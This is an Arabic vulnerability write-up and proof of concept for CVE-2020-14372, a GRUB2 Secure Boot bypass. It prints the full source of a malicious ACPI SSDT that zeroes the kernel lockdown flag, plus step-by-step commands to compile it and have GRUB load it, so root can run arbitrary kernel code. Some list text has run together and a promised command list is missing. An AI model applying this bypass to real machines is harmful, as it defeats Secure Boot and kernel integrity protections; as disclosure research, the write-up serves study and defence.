
استغلال لإثبات المفهوم (PoC) وشرح تفصيلي للثغرة CVE-2020-14372، يوضح تجاوز Secure Boot عبر ACPI SSDT خبيث لتعطيل kernel lockdown وتنفيذ كود عشوائي.
في يومٍ ما، كتبت "help" في وحدة تحكم GRUB2 ورأيت بعض الأوامر "الممتعة" حقًا:
اعتقدت فورًا أنني وجدت أكثر ثغرات Secure Boot متعةً، لكن هذه الأوامر تُخرج ما يلي عند تمكين Secure Boot:
error: Secure Boot forbids loading module .../memrw.mod.
بدافع الفضول، وبعد الإقلاع بهذه الطريقة، كتبت الأمر "acpi"، فطبعت رسالة استخدام تخبرني بتوجيهه إلى ملف AML. ومن المعروف جيدًا أن اسمًا آخر لـ ACPI هو "آلية لتشغيل كود تعسفي يوفره البائع في سياق نواتك"، وبما أننا نستطيع تحميل جداول ACPI مع تفعيل Secure Boot فنحن "البائع" الذي يمكنه توفير ذلك الكود.
لكن بما أنه توجد علامة من بايت واحد (kernel_locked_down) في مقطع بيانات النواة المُقلعة تُخبرها ما إذا كانت "مقفلة" أم لا، يمكننا ببساطة استبدال تلك العلامة باستخدام SSDT والسماح للنواة بتحميل وحدات عشوائية.
يحقق SSDT التالي ذلك بإنشاء كائن "بطارية" يُدعى HACK،
وتنفيذ الكتابة في دالة _INI لذلك الكائن، والتي تُنفَّذ دائمًا بواسطة
النواة:
DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
{
LKDN, 32
}
Device (\_SB_.HACK)
{
Name(_HID, EisaId ("PNP0C0A"))
Name(_UID, 0x02)
Method(_INI)
{
If (LKDN)
{
LKDN = Zero
}
}
}
}
لقد كتبت استغلالًا لإثبات المفهوم (PoC) بلغة Python يساعد في توليد هذا SSDT، لكن استغلال هذا يدويًا ليس بالأمر الصعب أيضًا. المخطط التقريبي هو كما يلي:
nokaslr إلى سطر أوامر النواةkernel_locked_down بعد الإقلاع
بدون KASLRiaslالافتراضات:
root على نظام التشغيل قيد التشغيلعندما تتحقق الافتراضات السابقة، حرّر /etc/default/grub، وأضف nokaslr
إلى GRUB_CMDLINE_LINUX_DEFAULT، وشغّل update-grub، ثم أعد التشغيل في النهاية.
بعد إقلاع النواة بدون توزيع عشوائي لتخطيط مساحة العناوين، يمكن استخدام
البرنامج النصي genssdt.py لتوليد SSDT "خبيث" سيقوم بتصحيح
ذاكرة النواة أثناء التشغيل لتعطيل الإقفال:
python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml
الآن بعد أن تم إنشاء SSDT، يجب تعديل ملف إعدادات GRUB
(الموجود عادة في /boot/grub/grub.cfg) حتى يقوم GRUB بتحميل هذا SSDT
(بإضافة ما يلي إلى أعلى هذا الملف):
acpi (hd0,gpt1)/evil_ssdt.aml
استنادًا إلى مكان وجود قسم نظام EFI (حيث وضعنا SSDT أعلاه) يقع
على القرص، قد يلزم استبدال (hd0,gpt1) بشيء آخر.
أخيرًا، بعد إعادة التشغيل، يجب أن يكون إقفال النواة (kernel lockdown) معطلاً، مما يمنح root
القدرة على تنفيذ كود تعسفي داخل النواة.